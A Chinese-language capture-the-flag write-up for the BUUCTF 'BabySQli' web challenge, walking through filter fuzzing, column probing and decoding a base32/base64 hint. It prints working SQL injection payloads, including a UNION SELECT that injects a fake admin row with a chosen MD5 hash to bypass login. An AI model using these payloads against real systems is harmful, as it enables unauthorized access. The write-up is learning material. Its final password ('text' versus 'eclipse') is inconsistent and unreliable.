【BUUCTF-Web】[GXYCTF2019]BabySQli

869 阅读2分钟

Subject

SQL Fuzz


Mind Palace

回显:do not hack me ==> 有过滤机制 ==> fuzz一下看看有什么是被过滤的了

OR updatexml 没有被过滤 ==> 尝试报错注入

admin' OR updatexml(1,database(),1);# ==> 失败

左右括号被过滤了

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
所以这是个啥emm;在线网站解密失败

这里的一串注释的内容意义不明;;base32/64? or md5?

不过通过回显知道了username = admin

1' order by 3(1,2,3,4..) ==> 判断出有三列

1' union select 1,2,3;# ==> wrong user
1' union select 'admin',2,3;# ==> wrong user
1' union select 1,'admin',3;# ==> wrong pass!

说明第二个字段就是username字段;猜测第一个是id 第三个是password

而且通过知道了admin为username的情况下也没有能绕过什么的1' OR 1 <> 2;# 说明username和password是分开判断的 ==> username判断成功后还需要再单独判断password是否是正确的

猜测的代码
$pass = $_POST['pw'];
if ($_POST['name'] == 'admin') {
  if ($_POST['pw'] == md5($pass)) {
    echo $flag;
  }
}
username = 1' union select 1,'admin','md5(eclipse)';#
md5(eclipse) => 6b7b655dd22faa3f10677c512493a8a0
password = eclipse

登陆后获得flag

Look Ahead

通过回显猜测代码


MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
这里肯定是提示 ==> 查询后得知是base32解+base64解码
encoded_txt = "MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5"
print(base64.b64decode(base64.b32decode(encoded_txt)))

==> Output:
b"select * from user where username = '$name'"

根据源码提示知道查询正常情况下是这样的:

之后再拿查询出来的pw和用户POST的pw的md5加密的值进行比较;由此在知道了1,2,3列回显情况后,可以构造如下payload:

输入的密码为text即可得到flag值


END (*≧∪≦)